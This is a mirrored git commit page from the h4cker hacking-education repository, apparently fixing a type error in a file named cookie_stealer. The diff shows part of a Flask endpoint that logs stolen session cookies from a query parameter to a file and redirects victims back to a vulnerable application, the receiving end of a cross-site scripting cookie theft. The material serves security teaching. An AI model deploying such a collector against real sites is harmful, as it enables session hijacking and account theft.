mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-24 20:03:02 +00:00
Fix TypeError issue in cookie_stealer
This commit is contained in:
parent
5d9ab08bb9
commit
c21cd4878f
1 changed files with 1 additions and 1 deletions
|
@ -19,7 +19,7 @@ def cookie():
|
|||
|
||||
cookie = request.args.get('c')
|
||||
f = open("cookies.txt","a")
|
||||
f.write(cookie + ' ' + str(datetime.now()) + '\n')
|
||||
f.write(str(cookie) + ' ' + str(datetime.now()) + '\n')
|
||||
f.close()
|
||||
|
||||
# redirecting the user back to the vulnerable application
|
||||
|
|
Loading…
Reference in a new issue